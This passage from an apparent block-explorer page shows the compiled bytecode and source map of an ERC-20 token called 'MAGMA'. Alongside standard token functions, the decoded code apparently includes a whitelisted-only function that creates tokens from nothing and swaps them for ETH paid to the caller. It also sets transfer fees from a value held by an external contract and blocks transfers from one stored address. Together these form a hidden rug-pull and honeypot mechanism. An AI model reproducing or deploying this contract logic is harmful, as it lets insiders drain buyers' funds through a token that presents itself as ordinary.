f60208284031215611fdf57611fde61182c565b5b5f611fec84828501611c05565b91505092915050565b5f611fff8261188a565b915061200a8361188a565b92508282026120188161188a565b9150828204841483151761202f5761202e611d3f565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61206d8261188a565b91506120788361188a565b92508261208857612087612036565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6120ed6021836117a6565b91506120f882612093565b604082019050919050565b5f6020820190508181035f83015261211a816120e1565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612155601b836117a6565b915061216082612121565b602082019050919050565b5f6020820190508181035f83015261218281612149565b9050919050565b5f6121938261188a565b915061219e8361188a565b92508282039050818111156121b6576121b5611d3f565b5b9291505056fea2646970667358221220279bac94c2003c0a26e5655263e0a6e909834edb34ba67f9779495791f62903164736f6c634300081a0033

Deployed Bytecode

0x608060405260043610610108575f3560e01c8063715018a61161009457806395d89b411161006357806395d89b4114610330578063a9059cbb1461035a578063b70143c914610396578063bf474bed146103be578063dd62ed3e146103e857610108565b8063715018a61461029c5780637d1db4a5146102b25780638da5cb5b146102dc5780638f9a55c01461030657610108565b806323b872dd116100db57806323b872dd146101c6578063293230b814610202578063313ce5671461020c57806349bd5a5e1461023657806370a082311461026057610108565b806306fdde031461010c578063095ea7b3146101365780630faee56f1461017257806318160ddd1461019c575b5f80fd5b348015610117575f80fd5b50610120610424565b60405161012d919061180c565b60405180910390f35b348015610141575f80fd5b5061015c600480360381019061015791906118bd565b610461565b6040516101699190611915565b60405180910390f35b34801561017d575f80fd5b50610186610477565b604051610193919061193d565b60405180910390f35b3480156101a7575f80fd5b506101b061047d565b6040516101bd919061193d565b60405180910390f35b3480156101d1575f80fd5b506101ec60048036038101906101e79190611956565b610486565b6040516101f99190611915565b60405180910390f35b61020a610532565b005b348015610217575f80fd5b50610220610978565b60405161022d91906119c1565b60405180910390f35b348015610241575f80fd5b5061024a61098d565b60405161025791906119e9565b60405180910390f35b34801561026b575f80fd5b5061028660048036038101906102819190611a02565b6109b2565b604051610293919061193d565b60405180910390f35b3480156102a7575f80fd5b506102b06109f8565b005b3480156102bd575f80fd5b506102c6610b27565b6040516102d3919061193d565b60405180910390f35b3480156102e7575f80fd5b506102f0610b2d565b6040516102fd91906119e9565b60405180910390f35b348015610311575f80fd5b5061031a610b54565b604051610327919061193d565b60405180910390f35b34801561033b575f80fd5b50610344610b5a565b604051610351919061180c565b60405180910390f35b348015610365575f80fd5b50610380600480360381019061037b91906118bd565b610b97565b60405161038d9190611915565b60405180910390f35b3480156103a1575f80fd5b506103bc60048036038101906103b79190611a2d565b610bad565b005b3480156103c9575f80fd5b506103d2610e28565b6040516103df919061193d565b60405180910390f35b3480156103f3575f80fd5b5061040e60048036038101906104099190611a58565b610e2e565b60405161041b919061193d565b60405180910390f35b60606040518060400160405280600581526020017f4d41474d41000000000000000000000000000000000000000000000000000000815250905090565b5f61046d338484610eb0565b6001905092915050565b600d5481565b5f600154905090565b5f610492848484611073565b61052784336105228560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461141290919063ffffffff16565b610eb0565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16610551610b2d565b73ffffffffffffffffffffffffffffffffffffffff16146105a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059e90611ae0565b60405180910390fd5b60095f9054906101000a900460ff16156105bf575f80fd5b6105ed3060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610eb0565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610658573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067c9190611b12565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070c9190611b12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b8152600401610746929190611b3d565b6020604051808303815f875af1158015610762573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107869190611b12565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061080d306109b2565b5f80610817610b2d565b426040518863ffffffff1660e01b815260040161083996959493929190611ba6565b60606040518083038185885af1158015610855573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061087a9190611c19565b50505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161091a929190611c69565b6020604051808303815f875af1158015610936573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095a9190611cba565b50600160095f6101000a81548160ff02191690831515021790555050565b5f8060149054906101000a900460ff16905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610a17610b2d565b73ffffffffffffffffffffffffffffffffffffffff1614610a6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6490611ae0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600a5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600b5481565b60606040518060400160405280600581526020017f4d41474d41000000000000000000000000000000000000000000000000000000815250905090565b5f610ba3338484611073565b6001905092915050565b60085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610bff575f80fd5b610c088161145b565b5f600267ffffffffffffffff811115610c2457610c23611ce5565b5b604051908082528060200260200182016040528015610c525781602001602082028036833780820191505090505b50905030815f81518110610c6957610c68611d12565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d0d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d319190611b12565b81600181518110610d4557610d44611d12565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f3390505f601442610d919190611d6c565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947855f8686866040518663ffffffff1660e01b8152600401610df5959493929190611e56565b5f604051808303815f87803b158015610e0c575f80fd5b505af1158015610e1e573d5f803e3d5ffd5b5050505050505050565b600c5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1590611f1e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8390611fac565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611066919061193d565b60405180910390a3505050565b5f80821161107f575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036110b6575f80fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361110e575f80fd5b60085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156111ac575060085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611205575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561123d57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561127357611270606461126261125387611519565b856115bc90919063ffffffff16565b61163390919063ffffffff16565b90505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112d0919061193d565b60405180910390a36113288260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461141290919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506113cb816113bd8460035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461167c90919063ffffffff16565b61141290919063ffffffff16565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050565b5f61145383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116d9565b905092915050565b6114873060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683610eb0565b5f3090508160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114d49190611d6c565b60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e83306040518363ffffffff1660e01b8152600401611576929190611b3d565b602060405180830381865afa158015611591573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115b59190611fca565b9050919050565b5f8083036115cc575f905061162d565b5f82846115d99190611ff5565b90508284826115e89190612063565b14611628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161f90612103565b60405180910390fd5b809150505b92915050565b5f61167483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061173b565b905092915050565b5f80828461168a9190611d6c565b9050838110156116cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c69061216b565b60405180910390fd5b8091505092915050565b5f838311158290611720576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611717919061180c565b60405180910390fd5b505f838561172e9190612189565b9050809150509392505050565b5f8083118290611781576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611778919061180c565b60405180910390fd5b505f838561178f9190612063565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6117de8261179c565b6117e881856117a6565b93506117f88185602086016117b6565b611801816117c4565b840191505092915050565b5f6020820190508181035f83015261182481846117d4565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61185982611830565b9050919050565b6118698161184f565b8114611873575f80fd5b50565b5f8135905061188481611860565b92915050565b5f819050919050565b61189c8161188a565b81146118a6575f80fd5b50565b5f813590506118b781611893565b92915050565b5f80604083850312156118d3576118d261182c565b5b5f6118e085828601611876565b92505060206118f1858286016118a9565b9150509250929050565b5f8115159050919050565b61190f816118fb565b82525050565b5f6020820190506119285f830184611906565b92915050565b6119378161188a565b82525050565b5f6020820190506119505f83018461192e565b92915050565b5f805f6060848603121561196d5761196c61182c565b5b5f61197a86828701611876565b935050602061198b86828701611876565b925050604061199c868287016118a9565b9150509250925092565b5f60ff82169050919050565b6119bb816119a6565b82525050565b5f6020820190506119d45f8301846119b2565b92915050565b6119e38161184f565b82525050565b5f6020820190506119fc5f8301846119da565b92915050565b5f60208284031215611a1757611a1661182c565b5b5f611a2484828501611876565b91505092915050565b5f60208284031215611a4257611a4161182c565b5b5f611a4f848285016118a9565b91505092915050565b5f8060408385031215611a6e57611a6d61182c565b5b5f611a7b85828601611876565b9250506020611a8c85828601611876565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611aca6020836117a6565b9150611ad582611a96565b602082019050919050565b5f6020820190508181035f830152611af781611abe565b9050919050565b5f81519050611b0c81611860565b92915050565b5f60208284031215611b2757611b2661182c565b5b5f611b3484828501611afe565b91505092915050565b5f604082019050611b505f8301856119da565b611b5d60208301846119da565b9392505050565b5f819050919050565b5f819050919050565b5f611b90611b8b611b8684611b64565b611b6d565b61188a565b9050919050565b611ba081611b76565b82525050565b5f60c082019050611bb95f8301896119da565b611bc6602083018861192e565b611bd36040830187611b97565b611be06060830186611b97565b611bed60808301856119da565b611bfa60a083018461192e565b979650505050505050565b5f81519050611c1381611893565b92915050565b5f805f60608486031215611c3057611c2f61182c565b5b5f611c3d86828701611c05565b9350506020611c4e86828701611c05565b9250506040611c5f86828701611c05565b9150509250925092565b5f604082019050611c7c5f8301856119da565b611c89602083018461192e565b9392505050565b611c99816118fb565b8114611ca3575f80fd5b50565b5f81519050611cb481611c90565b92915050565b5f60208284031215611ccf57611cce61182c565b5b5f611cdc84828501611ca6565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611d768261188a565b9150611d818361188a565b9250828201905080821115611d9957611d98611d3f565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611dd18161184f565b82525050565b5f611de28383611dc8565b60208301905092915050565b5f602082019050919050565b5f611e0482611d9f565b611e0e8185611da9565b9350611e1983611db9565b805f5b83811015611e49578151611e308882611dd7565b9750611e3b83611dee565b925050600181019050611e1c565b5085935050505092915050565b5f60a082019050611e695f83018861192e565b611e766020830187611b97565b8181036040830152611e888186611dfa565b9050611e9760608301856119da565b611ea4608083018461192e565b9695505050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611f086024836117a6565b9150611f1382611eae565b604082019050919050565b5f6020820190508181035f830152611f3581611efc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611f966022836117a6565b9150611fa182611f3c565b604082019050919050565b5f6020820190508181035f830152611fc381611f8a565b9050919050565b5f60208284031215611fdf57611fde61182c565b5b5f611fec84828501611c05565b91505092915050565b5f611fff8261188a565b915061200a8361188a565b92508282026120188161188a565b9150828204841483151761202f5761202e611d3f565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61206d8261188a565b91506120788361188a565b92508261208857612087612036565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6120ed6021836117a6565b91506120f882612093565b604082019050919050565b5f6020820190508181035f83015261211a816120e1565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612155601b836117a6565b915061216082612121565b602082019050919050565b5f6020820190508181035f83015261218281612149565b9050919050565b5f6121938261188a565b915061219e8361188a565b92508282039050818111156121b6576121b5611d3f565b5b9291505056fea2646970667358221220279bac94c2003c0a26e5655263e0a6e909834edb34ba67f9779495791f62903164736f6c634300081a0033

Deployed Bytecode Sourcemap

2890:5141:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4952:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4794:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3864:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4600:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6157:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5256:575;;;:::i;:::-;;5043:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3306:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5138:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1241:140;;;;;;;;;;;;;:::i;:::-;;3669:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1575:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3732:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4699:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5993:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6421:468;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3797:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4458:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4952:83;4989:13;5022:5;;;;;;;;;;;;;;;;;5015:12;;4952:83;:::o;4794:150::-;4860:4;4877:37;4886:10;4898:7;4907:6;4877:8;:37::i;:::-;4932:4;4925:11;;4794:150;;;;:::o;3864:54::-;;;;:::o;4600:91::-;4644:7;4671:12;;4664:19;;4600:91;:::o;6157:256::-;6246:4;6263:36;6273:6;6281:9;6292:6;6263:9;:36::i;:::-;6310:73;6319:6;6327:10;6339:43;6375:6;6339:11;:19;6351:6;6339:19;;;;;;;;;;;;;;;:31;6359:10;6339:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;6310:8;:73::i;:::-;6401:4;6394:11;;6157:256;;;;;:::o;5256:575::-;1500:10;1489:21;;:7;:5;:7::i;:::-;:21;;;1481:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;5329:11:::1;;;;;;;;;;;5328:12;5320:21;;;::::0;::::1;;5353:63;5370:4;5385:15;;;;;;;;;;;5403:12;;5353:8;:63::i;:::-;5427:12;5442:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5427:37;;5509:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5491:56;;;5556:4;5563;5491:77;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5475:13;;:93;;;;;;;;;;;;;;;;;;5579:15;;;;;;;;;;;:31;;;5618:9;5647:4;5654:24;5672:4;5654:9;:24::i;:::-;5680:1;5683::::0;5686:7:::1;:5;:7::i;:::-;5695:15;5579:132;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;5729:13;;;;;;;;;;;5722:29;;;5760:15;;;;;;;;;;;5778:14;5722:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5819:4;5805:11;;:18;;;;;;;;;;;;;;;;;;5309:522;5256:575::o:0;5043:83::-;5084:5;5109:9;;;;;;;;;;;5102:16;;5043:83;:::o;3306:28::-;;;;;;;;;;;;;:::o;5138:110::-;5195:7;5222:9;:18;5232:7;5222:18;;;;;;;;;;;;;;;;5215:25;;5138:110;;;:::o;1241:140::-;1500:10;1489:21;;:7;:5;:7::i;:::-;:21;;;1481:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1340:1:::1;1303:40;;1324:6;::::0;::::1;;;;;;;;1303:40;;;;;;;;;;;;1371:1;1354:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1241:140::o:0;3669:56::-;;;;:::o;1575:87::-;1621:7;1648:6;;;;;;;;;;;1641:13;;1575:87;:::o;3732:58::-;;;;:::o;4699:87::-;4738:13;4771:7;;;;;;;;;;;;;;;;;4764:14;;4699:87;:::o;5993:156::-;6062:4;6079:40;6089:10;6101:9;6112:6;6079:9;:40::i;:::-;6137:4;6130:11;;5993:156;;;;:::o;6421:468::-;6485:17;:29;6503:10;6485:29;;;;;;;;;;;;;;;;;;;;;;;;;6477:38;;;;;;6526:12;6531:6;6526:4;:12::i;:::-;6549:22;6588:1;6574:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6549:41;;6620:4;6601:5;6607:1;6601:8;;;;;;;;:::i;:::-;;;;;;;:24;;;;;;;;;;;6648:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6637:5;6643:1;6637:8;;;;;;;;:::i;:::-;;;;;;;:33;;;;;;;;;;;6681:17;6701:10;6681:30;;6722:18;6761:2;6743:15;:20;;;;:::i;:::-;6722:41;;6774:15;;;;;;;;;;;:66;;;6841:6;6849:1;6852:5;6859:9;6870:10;6774:107;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6466:423;;;6421:468;:::o;3797:60::-;;;;:::o;4458:134::-;4530:7;4557:11;:18;4569:5;4557:18;;;;;;;;;;;;;;;:27;4576:7;4557:27;;;;;;;;;;;;;;;;4550:34;;4458:134;;;;:::o;7476:335::-;7586:1;7569:19;;:5;:19;;;7561:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7667:1;7648:21;;:7;:21;;;7640:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7749:6;7719:11;:18;7731:5;7719:18;;;;;;;;;;;;;;;:27;7738:7;7719:27;;;;;;;;;;;;;;;:36;;;;7787:7;7771:32;;7780:5;7771:32;;;7796:6;7771:32;;;;;;:::i;:::-;;;;;;;;7476:335;;;:::o;6897:571::-;6977:18;7027:1;7018:6;:10;7010:19;;;;;;7064:1;7048:18;;:4;:18;;;7040:27;;;;;;7095:8;;;;;;;;;;;7087:16;;:4;:16;;;7079:25;;;;;;7120:17;:23;7138:4;7120:23;;;;;;;;;;;;;;;;;;;;;;;;;7119:24;:50;;;;;7148:17;:21;7166:2;7148:21;;;;;;;;;;;;;;;;;;;;;;;;;7147:22;7119:50;:75;;;;;7181:13;;;;;;;;;;;7173:21;;:4;:21;;;;7119:75;:100;;;;;7214:4;7198:21;;:4;:21;;;;7119:100;7115:180;;;7249:34;7279:3;7249:25;7260:13;7268:4;7260:7;:13::i;:::-;7249:6;:10;;:25;;;;:::i;:::-;:29;;:34;;;;:::i;:::-;7236:47;;7115:180;7325:2;7310:26;;7319:4;7310:26;;;7329:6;7310:26;;;;;;:::i;:::-;;;;;;;;7365:27;7385:6;7365:9;:15;7375:4;7365:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;7347:9;:15;7357:4;7347:15;;;;;;;;;;;;;;;:45;;;;7419:41;7449:10;7419:25;7437:6;7419:9;:13;7429:2;7419:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;:29;;:41;;;;:::i;:::-;7403:9;:13;7413:2;7403:13;;;;;;;;;;;;;;;:57;;;;6966:502;6897:571;;;:::o;1968:136::-;2026:7;2053:43;2057:1;2060;2053:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2046:50;;1968:136;;;;:::o;7819:209::-;7868:57;7885:4;7900:15;;;;;;;;;;;7918:6;7868:8;:57::i;:::-;7936:13;7960:4;7936:29;;8014:6;7995:9;:16;8005:5;7995:16;;;;;;;;;;;;;;;;:25;;;;:::i;:::-;7976:9;:16;7986:5;7976:16;;;;;;;;;;;;;;;:44;;;;7857:171;7819:209;:::o;5839:146::-;5893:7;5920:6;;;;;;;;;;;:26;;;5947:4;5971;5920:57;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5913:64;;5839:146;;;:::o;2306:246::-;2364:7;2393:1;2388;:6;2384:47;;2418:1;2411:8;;;;2384:47;2441:9;2457:1;2453;:5;;;;:::i;:::-;2441:17;;2486:1;2481;2477;:5;;;;:::i;:::-;:10;2469:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2543:1;2536:8;;;2306:246;;;;;:::o;2558:132::-;2616:7;2643:39;2647:1;2650;2643:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2636:46;;2558:132;;;;:::o;1783:179::-;1841:7;1861:9;1877:1;1873;:5;;;;:::i;:::-;1861:17;;1902:1;1897;:6;;1889:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1953:1;1946:8;;;1783:179;;;;:::o;2110:190::-;2196:7;2229:1;2224;:6;;2232:12;2216:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2256:9;2272:1;2268;:5;;;;:::i;:::-;2256:17;;2291:1;2284:8;;;2110:190;;;;;:::o;2696:189::-;2782:7;2814:1;2810;:5;2817:12;2802:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2841:9;2857:1;2853;:5;;;;:::i;:::-;2841:17;;2876:1;2869:8;;;2696:189;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008: